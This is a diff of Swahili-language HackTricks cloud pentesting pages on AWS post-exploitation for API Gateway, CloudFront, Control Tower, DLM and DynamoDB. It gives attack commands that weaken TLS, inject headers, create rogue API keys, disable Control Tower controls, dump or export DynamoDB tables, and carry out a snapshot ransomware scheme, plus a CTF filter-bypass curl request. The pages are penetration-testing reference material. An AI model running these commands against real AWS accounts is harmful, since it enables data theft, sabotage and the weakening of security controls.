-Mshambuliaji mwenye ruhusa `apigateway:UpdateGatewayResponse` na `apigateway:CreateDeployment` anaweza **kubadilisha Jibu la Gateway lililopo ili kujumuisha vichwa vya habari vya kawaida au templeti za majibu ambazo zinavuja taarifa nyeti au kutekeleza skripti za uhalifu**.
-```bash
-API_ID="your-api-id"
-RESPONSE_TYPE="DEFAULT_4XX"
-
-# Update the Gateway Response
-aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**Madhara Yanayoweza Kutokea**: Kuvuja kwa taarifa nyeti, kutekeleza skripti za uhalifu, au ufikiaji usioidhinishwa wa rasilimali za API.
-
-> [!NOTE]
-> Inahitaji kupimwa
-
-### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-
-Mshambuliaji mwenye ruhusa `apigateway:UpdateStage` na `apigateway:CreateDeployment` anaweza **kubadilisha hatua ya API Gateway iliyopo ili kuelekeza trafiki kwenye hatua tofauti au kubadilisha mipangilio ya caching ili kupata ufikiaji usioidhinishwa wa data iliyohifadhiwa**.
-```bash
-API_ID="your-api-id"
-STAGE_NAME="Prod"
-
-# Update the API Gateway stage
-aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa data iliyohifadhiwa, kuingilia au kuingilia kati trafiki ya API.
-
-> [!NOTE]
-> Inahitaji kupimwa
-
-### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-
-Mshambuliaji mwenye ruhusa `apigateway:PutMethodResponse` na `apigateway:CreateDeployment` anaweza **kubadilisha jibu la njia ya API Gateway REST API iliyopo ili kujumuisha vichwa vya habari vya kawaida au templeti za majibu ambazo zinavuja taarifa nyeti au kutekeleza scripts zenye uharibifu**.
-```bash
-API_ID="your-api-id"
-RESOURCE_ID="your-resource-id"
-HTTP_METHOD="GET"
-STATUS_CODE="200"
-
-# Update the method response
-aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**Madhara Yanayoweza Kutokea**: Kuvuja kwa taarifa nyeti, kutekeleza scripts za uhalifu, au ufikiaji usioidhinishwa wa rasilimali za API.
-
-> [!NOTE]
-> Inahitaji kupimwa
-
-### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-
-Mshambuliaji mwenye ruhusa `apigateway:UpdateRestApi` na `apigateway:CreateDeployment` anaweza **kubadilisha mipangilio ya API Gateway REST API ili kuzima logging au kubadilisha toleo la chini la TLS, ambayo inaweza kudhoofisha usalama wa API**.
-```bash
-API_ID="your-api-id"
-
-# Update the REST API settings
-aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**Madhara Yanayoweza Kutokea**: Kupunguza usalama wa API, ambayo inaweza kuruhusu ufikiaji usioidhinishwa au kufichua taarifa nyeti.
-
-> [!NOTE]
-> Inahitaji kupimwa
-
-### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-
-Mshambuliaji mwenye ruhusa `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, na `apigateway:CreateUsagePlanKey` anaweza **kuunda funguo mpya za API, kuziunganisha na mipango ya matumizi, na kisha kutumia funguo hizi kwa ufikiaji usioidhinishwa kwa APIs**.
-```bash
-# Create a new API key
-API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
-
-# Create a new usage plan
-USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
-
-# Associate the API key with the usage plan
-aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
-```
-**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa rasilimali za API, kupita mipango ya usalama.
-
-> [!NOTE]
-> Inahitaji kupimwa
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md

@@ -0,0 +1,130 @@
+# AWS - API Gateway Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+Kwa maelezo zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### Kupata APIs zisizofichwa
+
+Unaweza kuunda endpoint katika [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) kwa service `com.amazonaws.us-east-1.execute-api`, expose the endpoint katika network ambayo una access (inawezekana kupitia EC2 machine) na uteue security group inayoruhusu all connections.\
+Kisha, kutoka kwenye EC2 machine utaweza kufikia endpoint na kwa hivyo kuita gateway API ambayo haikuwa imefichuliwa hapo awali.
+
+### Bypass Request body passthrough
+
+This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+
+Kama ilivyoonyeshwa katika [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) katika sehemu ya `PassthroughBehavior`, kwa chaguo-msingi, thamani **`WHEN_NO_MATCH`**, wakati wa kukagua header ya **Content-Type** ya request, itapitisha request kwa back end bila mabadiliko.
+
+Hivyo, katika CTF API Gateway ilikuwa na integration template ambayo ilikuwa **preventing the flag from being exfiltrated** katika response wakati request ilitumwa na `Content-Type: application/json`:
+```yaml
+RequestTemplates:
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+```
+Hata hivyo, kutuma ombi lenye **`Content-type: text/json`** kungepita filter hiyo.
+
+Hatimaye, kwa kuwa API Gateway iliruhusu tu `Get` na `Options`, ilikuwa inawezekana kutuma query yoyote ya dynamoDB bila kikomo kwa kutuma ombi la POST na kuweka query katika mwili wa ombi na kutumia header `X-HTTP-Method-Override: GET`:
+```bash
+curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
+```
+### Usage Plans DoS
+
+Kwenye sehemu ya **Enumeration** unaweza kuona jinsi ya **kupata usage plan** ya **keys**. Ikiwa una **key** na ime **limited** kwa matumizi X **per month**, unaweza **just use it and cause a DoS**.
+
+### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
+
+Attacker ambaye ana permissions `apigateway:UpdateGatewayResponse` na `apigateway:CreateDeployment` anaweza **modify an existing Gateway Response ili kujumuisha custom headers au response templates ambazo leak maelezo nyeti au execute malicious scripts**.
+```bash
+API_ID="your-api-id"
+RESPONSE_TYPE="DEFAULT_4XX"
+
+# Update the Gateway Response
+aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Athari Inayoweza Kutokea**: Uvuaji wa taarifa nyeti, kuendesha skiripti zenye madhara, au kupata ufikiaji bila idhini kwa rasilimali za API.
+
+> [!NOTE]
+> Inahitaji upimaji
+
+### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
+
+Mshambuliaji akiwa na ruhusa za `apigateway:UpdateStage` na `apigateway:CreateDeployment` anaweza **kubadilisha hatua ya API Gateway iliyopo ili kupeleka trafiki kwa hatua tofauti au kubadilisha mipangilio ya caching ili kupata ufikiaji usioidhinishwa wa data zilizohifadhiwa kwenye cache**.
+```bash
+API_ID="your-api-id"
+STAGE_NAME="Prod"
+
+# Update the API Gateway stage
+aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Athari Inayoweza Kutokea**: Ufikiaji usioidhinishwa wa data zilizohifadhiwa (cached), kuingilia au kukamata trafiki ya API.
+
+> [!NOTE]
+> Inahitaji kujaribiwa
+
+### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
+
+Mshambuliaji akiwa na ruhusa `apigateway:PutMethodResponse` na `apigateway:CreateDeployment` anaweza **kubadilisha method response ya API Gateway REST API iliyopo ili kujumuisha custom headers au response templates ambazo zinatoa (leak) taarifa nyeti au kutekeleza scripts hatarishi**.
+```bash
+API_ID="your-api-id"
+RESOURCE_ID="your-resource-id"
+HTTP_METHOD="GET"
+STATUS_CODE="200"
+
+# Update the method response
+aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Athari Inayoweza Kutokea**: Leakage ya taarifa nyeti, kutekeleza malicious scripts, au upatikanaji usioidhinishwa wa rasilimali za API.
+
+> [!NOTE]
+> Inahitaji upimaji
+
+### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
+
+Mshambulizi mwenye ruhusa za `apigateway:UpdateRestApi` na `apigateway:CreateDeployment` anaweza **kubadilisha mipangilio ya API Gateway REST API ili kuzima logging au kubadilisha minimum TLS version, na hivyo kuweza kudhoofisha usalama wa API**.
+```bash
+API_ID="your-api-id"
+
+# Update the REST API settings
+aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Athari Inayoweza Kutokea**: Kuudhiisha usalama wa API, kwa uwezekano kuwezesha ufikiaji usioidhinishwa au kufichua taarifa nyeti.
+
+> [!NOTE]
+> Inahitaji majaribio
+
+### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
+
+Mshambuliaji mwenye ruhusa `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, na `apigateway:CreateUsagePlanKey` anaweza **kuunda API keys mpya, kuziunganisha na usage plans, na kisha kutumia keys hizi kwa ufikiaji usioidhinishwa wa APIs**.
+```bash
+# Create a new API key
+API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
+
+# Create a new usage plan
+USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
+
+# Associate the API key with the usage plan
+aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
+```
+**Athari Inayowezekana**: Ufikiaji usioidhinishwa wa rasilimali za API, kuzunguka udhibiti wa usalama.
+
+> [!NOTE]
+> Inahitaji kujaribiwa
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md

@@ -1,31 +0,0 @@
-# AWS - CloudFront Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFront
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-cloudfront-enum.md
-{{#endref}}
-
-### Man-in-the-Middle
-
-Hii [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) inapendekeza hali kadhaa tofauti ambapo **Lambda** inaweza kuongezwa (au kubadilishwa ikiwa tayari inatumika) katika **mawasiliano kupitia CloudFront** kwa lengo la **kuiba** taarifa za mtumiaji (kama **cookie** ya kikao) na **kubadilisha** **jibu** (kuingiza script mbaya ya JS).
-
-#### scenario 1: MitM ambapo CloudFront imewekwa kufikia HTML fulani ya bucket
-
-- **Unda** **function** mbaya.
-- **Unganisha** na usambazaji wa CloudFront.
-- Weka **aina ya tukio kuwa "Viewer Response"**.
-
-Kwa kufikia jibu unaweza kuiba cookie za watumiaji na kuingiza JS mbaya.
-
-#### scenario 2: MitM ambapo CloudFront tayari inatumia kazi ya lambda
-
-- **Badilisha msimbo** wa kazi ya lambda ili kuiba taarifa nyeti
-
-Unaweza kuangalia [**msimbo wa tf ili kuunda hali hizi hapa**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md

@@ -0,0 +1,31 @@
+# AWS - CloudFront Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+Kwa taarifa zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-cloudfront-enum.md
+{{#endref}}
+
+### Man-in-the-Middle
+
+Kifungu hiki cha [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) kinapendekeza matukio kadhaa tofauti ambapo **Lambda** inaweza kuongezwa (au kubadilishwa ikiwa tayari inatumika) katika **communication through CloudFront** kwa madhumuni ya **stealing** taarifa za mtumiaji (kama **cookie** ya kikao) na **modifying** **response** (kuingiza script ya JS yenye madhara).
+
+#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+
+- **Unda** **function** yenye madhara.
+- **Ihusishe** na CloudFront distribution.
+- Weka **event type to "Viewer Response"**.
+
+Kwa kupata **response** unaweza kuiba **cookie** ya watumiaji na kuingiza JS yenye madhara.
+
+#### scenario 2: MitM where CloudFront is already using a lambda function
+
+- **Badilisha code** ya Lambda function ili kuiba taarifa nyeti
+
+Unaweza kuangalia {#ref}https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main{#endref}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md

@@ -1,18 +0,0 @@
-# AWS - Control Tower Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Control Tower
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
-{{#endref}}
-
-### Wezesha / Zima Udhibiti
-
-Ili kuendelea kutumia akaunti, unaweza kuhitaji kuzima/kuwezesha udhibiti wa Control Tower:
-```bash
-aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md

@@ -0,0 +1,18 @@
+# AWS - Control Tower Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Control Tower
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+{{#endref}}
+
+### Kuwezesha / Kuzima Controls
+
+Ili kuendelea exploit akaunti, unaweza kuhitaji kuzima/kuwezesha Control Tower controls:
+```bash
+aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md

@@ -1,91 +0,0 @@
-# AWS - DLM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Data Lifecycle Manger (DLM)
-
-### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-
-Shambulio la ransomware linaweza kutekelezwa kwa kuficha kiasi kikubwa cha EBS volumes na kisha kufuta EC2 instances, EBS volumes, na snapshots za sasa. Ili kuendesha shughuli hii mbaya, mtu anaweza kutumia Amazon DLM, akificha snapshots kwa kutumia KMS key kutoka akaunti nyingine ya AWS na kuhamasisha snapshots zilizofichwa kwa akaunti tofauti. Vinginevyo, wanaweza kuhamasisha snapshots bila kuficha kwa akaunti wanayosimamia na kisha kuzificha huko. Ingawa si rahisi kuficha EBS volumes au snapshots zilizopo moja kwa moja, inawezekana kufanya hivyo kwa kuunda volume au snapshot mpya.
-
-Kwanza, mtu atatumia amri kukusanya taarifa kuhusu volumes, kama vile instance ID, volume ID, hali ya ufichaji, hali ya kiambatisho, na aina ya volume.
-
-`aws ec2 describe-volumes`
-
-Pili, mtu ataunda sera ya maisha. Amri hii inatumia DLM API kuanzisha sera ya maisha ambayo kiotomatiki inachukua snapshots za kila siku za volumes zilizotajwa kwa wakati maalum. Pia inatumia lebo maalum kwa snapshots na nakala za lebo kutoka kwa volumes hadi snapshots. Faili ya policyDetails.json inajumuisha maelezo ya sera ya maisha, kama vile lebo za lengo, ratiba, ARN ya KMS key ya hiari kwa ajili ya ufichaji, na akaunti ya lengo kwa ajili ya kushiriki snapshots, ambayo itarekodiwa katika kumbukumbu za CloudTrail za mwathirika.
-```bash
-aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
-```
-Kiolezo cha hati ya sera kinaweza kuonekana hapa:
-```bash
-{
-"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
-"ResourceTypes": [
-"VOLUME"
-],
-"TargetTags": [
-{
-"Key": "ExampleKey",
-"Value": "ExampleValue"
-}
-],
-"Schedules": [
-{
-"Name": "DailySnapshots",
-"CopyTags": true,
-"TagsToAdd": [
-{
-"Key": "SnapshotCreator",
-"Value": "DLM"
-}
-],
-"VariableTags": [
-{
-"Key": "CostCenter",
-"Value": "Finance"
-}
-],
-"CreateRule": {
-"Interval": 24,
-"IntervalUnit": "HOURS",
-"Times": [
-"03:00"
-]
-},
-"RetainRule": {
-"Count": 14
-},
-"FastRestoreRule": {
-"Count": 2,
-"Interval": 12,
-"IntervalUnit": "HOURS"
-},
-"CrossRegionCopyRules": [
-{
-"TargetRegion": "us-west-2",
-"Encrypted": true,
-"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
-"CopyTags": true,
-"RetainRule": {
-"Interval": 1,
-"IntervalUnit": "DAYS"
-}
-}
-],
-"ShareRules": [
-{
-"TargetAccounts": [
-"123456789012"
-],
-"UnshareInterval": 30,
-"UnshareIntervalUnit": "DAYS"
-}
-]
-}
-],
-"Parameters": {
-"ExcludeBootVolume": false
-}
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md

@@ -0,0 +1,91 @@
+# AWS - DLM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Data Lifecycle Manger (DLM)
+
+### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
+
+Shambulio la ransomware linaweza kutekelezwa kwa ku-encrypt idadi kubwa ya EBS volumes iwezekanavyo kisha kufuta EC2 instances, EBS volumes, na snapshots zilizopo. Ili ku-automate shughuli hii ya uharibu, mtu anaweza kutumia Amazon DLM, ku-encrypt snapshots kwa KMS key kutoka kwa AWS account nyingine na kuhamisha snapshots zilizokenywa (encrypted) kwenda account tofauti. Vinginevyo, wanaweza kuhamisha snapshots bila encryption kwenda account wanayosimamia kisha ku-encrypt pale. Ingawa si rahisi ku-encrypt EBS volumes au snapshots zilizopo moja kwa moja, inawezekana kufanya hivyo kwa kuunda volume au snapshot mpya.
+
+Kwanza, mtu atatumia amri kukusanya taarifa juu ya volumes, kama instance ID, volume ID, encryption status, attachment status, na volume type.
+
+`aws ec2 describe-volumes`
+
+Pili, mtu ataunda lifecycle policy. Amri hii inatumia DLM API kusanidi lifecycle policy ambayo ina-take snapshots za kila siku za volumes zilizobainishwa kwa wakati uliowekwa. Pia inaweka tags maalum kwenye snapshots na kunakili tags kutoka kwa volumes kwenda snapshots. Faili policyDetails.json inaelezea maelezo ya lifecycle policy, kama target tags, schedule, ARN ya KMS key ya hiari kwa encryption, na account lengwa kwa ajili ya snapshot sharing, ambayo itarekodiwa kwenye CloudTrail logs za mwathiri.
+```bash
+aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
+```
+Kiolezo cha dokumenti ya sera kinaweza kuonekana hapa:
+```bash
+{
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - DynamoDB Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DynamoDB
 
 Kwa maelezo zaidi angalia:
 
 {{#ref}}
-../aws-services/aws-dynamodb-enum.md
+../../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
 ### `dynamodb:BatchGetItem`
 
-Mshambulizi mwenye ruhusa hizi ataweza **kupata vitu kutoka kwenye jedwali kwa kutumia funguo kuu** (huwezi kuomba tu data yote ya jedwali). Hii inamaanisha kwamba unahitaji kujua funguo kuu (hizi unaweza kuzipata kwa kupata metadata ya jedwali (`describe-table`).
+An attacker akiwa na ruhusa hizi ataweza **get items kutoka kwa tables kwa primary key** (hutaweza kuuliza tu data zote za jedwali). Hii inamaanisha unahitaji kujua primary keys (unaweza kupata hizi kupitia metadata ya jedwali (`describe-table`). 
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Athari Inayoweza Kutokea:** Indirect privesc kwa kupata taarifa nyeti ndani ya jedwali
+**Athari Inayowezekana:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali
 
 ### `dynamodb:GetItem`
 
-**Sawa na ruhusa zilizotangulia** hii inamruhusu mdukuzi wa uwezekano kusoma thamani kutoka kwa jedwali moja tu akitumia primary key ya rekodi anayotaka kurejesha:
+**Sawa na ruhusa zilizotangulia** hii inamruhusu mshambuliaji kusoma thamani kutoka kwenye jedwali 1 tu kwa kutumia funguo kuu ya rekodi anayotaka kupata:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 }
 }
 ```
-Kwa ruhusa hii pia inawezekana kutumia njia ya **`transact-get-items`** kama:
+Kwa ruhusa hii pia inawezekana kutumia njia ya **`transact-get-items`** kama ifuatavyo:
 ```json
 aws dynamodb transact-get-items \
 --transact-items file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**Athari Inayowezekana:** Kupanda cheo kwa njia isiyo ya moja kwa moja (Indirect privesc) kwa kutambua taarifa nyeti kwenye jedwali
+**Athari Inayowezekana:** Indirect privesc kwa kupata taarifa nyeti katika jedwali
 
 ### `dynamodb:Query`
 
-**Kama ilivyo kwa ruhusa zilizotangulia** hii inamruhusu mshambuliaji wa uwezekano kusoma thamani kutoka kwenye jedwali 1 tu kwa kutoa funguo kuu (primary key) ya rekodi anayotaka. Inawekawezesha kutumia [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini kigezo pekee kinachoruhusiwa kwa funguo kuu (ambacho lazima kiwepo) ni "EQ", kwa hivyo huwezi kutumia kigezo kupata hifadhidata yote katika ombi.
+**Sawa na ruhusa zilizotangulia** hii inaruhusu mshambuliaji wa kimaslahi kusoma thamani kutoka kwenye jedwali 1 tu ikitolewa ufunguo kuu (primary key) wa rekodi inayotakiwa. Inaruhusu kutumia [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini mlinganisho pekee unaoruhusiwa kwa ufunguo kuu (ambao lazima utajwe) ni "EQ", hivyo huwezi kutumia mlinganisho kupata DB nzima kwa ombi.
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
 {{#endtab }}
 {{#endtabs }}
 
-**Athari Inayoweza Kutokea:** Isiyo ya moja kwa moja privesc kwa kutambua taarifa nyeti kwenye jedwali
+**Athari Inayoweza Kutokea:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti katika jedwali
 
 ### `dynamodb:Scan`
 
-Unaweza kutumia ruhusa hii ku**dump jedwali lote kwa urahisi**.
+Unaweza kutumia ruhusa hii ili **dump jedwali zima kwa urahisi**.
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-**Athari Inayoweza Kutokea:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali
+**Athari Inayoweza Kutokea:** Indirect privesc kwa kupata taarifa nyeti kwenye jedwali
 
 ### `dynamodb:PartiQLSelect`
 
-Unaweza kutumia ruhusa hii ili **dump jedwali lote kwa urahisi**.
+Unaweza kutumia ruhusa hii ili **dump jedwali zima kwa urahisi**.
 ```bash
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-Ruhusa hii pia inaruhusu kutekeleza `batch-execute-statement` kama ifuatavyo:
+Ruhusa hii pia inaruhusu kufanya `batch-execute-statement` kama:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
-lakini unahitaji kubainisha ufunguo wa msingi (primary key) kwa thamani, hivyo haifai sana.
+lakini unahitaji kutaja funguo kuu na thamani, hivyo haifai sana.
 
-**Athari Inayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali
+**Athari Inayowezekana:** privesc isiyo ya moja kwa moja kwa kutambua taarifa nyeti katika jedwali
 
 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
 
-Ruhusa hii itamruhusu mshambuliaji **kuhamisha jedwali lote kwenye S3 bucket aliyoichagua:**
+Ruhusa hii itamruhusu mshambuliaji **kuhamisha jedwali lote kwa S3 bucket** anayeichagua:
 ```bash
 aws dynamodb export-table-to-point-in-time \
 --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-Kumbuka kwamba ili hili lifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery imewezeshwa; unaweza kuangalia ikiwa jedwali lina point-in-time-recovery kwa kutumia:
+Kumbuka kwamba ili hili lifanye kazi, jedwali linapaswa kuwa na point-in-time-recovery imewezeshwa; unaweza kuangalia ikiwa jedwali lina hiyo kwa:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-Ikiwa haijawezeshwa, utahitaji **kuiwezesha** na kwa hilo unahitaji ruhusa **`dynamodb:ExportTableToPointInTime`**:
+Iwapo haijawezeshwa, utahitaji **kuiwezesha** na kwa hilo unahitaji ruhusa ya **`dynamodb:ExportTableToPointInTime`**:
